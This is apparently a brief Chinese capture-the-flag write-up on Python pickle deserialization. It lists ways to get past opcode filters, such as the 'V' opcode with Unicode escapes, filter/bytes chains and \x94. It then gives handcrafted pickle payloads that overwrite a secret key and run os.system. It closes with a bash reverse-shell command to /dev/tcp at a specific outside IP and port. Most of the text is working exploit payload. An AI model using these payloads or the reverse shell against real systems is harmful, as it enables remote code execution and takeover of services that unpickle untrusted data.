考點: pickle反序列化修改變量值 內置函數rce

繞過:

- 用opcode'V'+Unicode編碼繞過對S和引號的限製
- 用filter和bytes繞過R o i tuple map的限製
- 用`\x94`繞過p的限製

payload:

修改secret.secretKey的值:

```
'''c__main__
secret
(V\u0073\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079
V\u0076\u0079\u0042\u004e\u0067\u0031\u006f\u0035\u006e\u0033\u0037\u0065\u0057\u0077\u0050\u0052
db'''
```

內置函數rce

```
'''cbuiltins
filter
\x940(V\u0077\u0068\u006f\u0061\u006d\u0069
t\x940(cos
system
g1
t\x940g0
g2
\x81\x940cbuiltins
bytes
(g3
t\x81'''
```

即構造

```
bytes.__new__(bytes,filter.__new__(filter,os.system,('whoami',)))
```

來rce

將`whoami`換成`bash -c "bash -i >& /dev/tcp/101.42.156.71/1234 0>&1"`即可反彈shell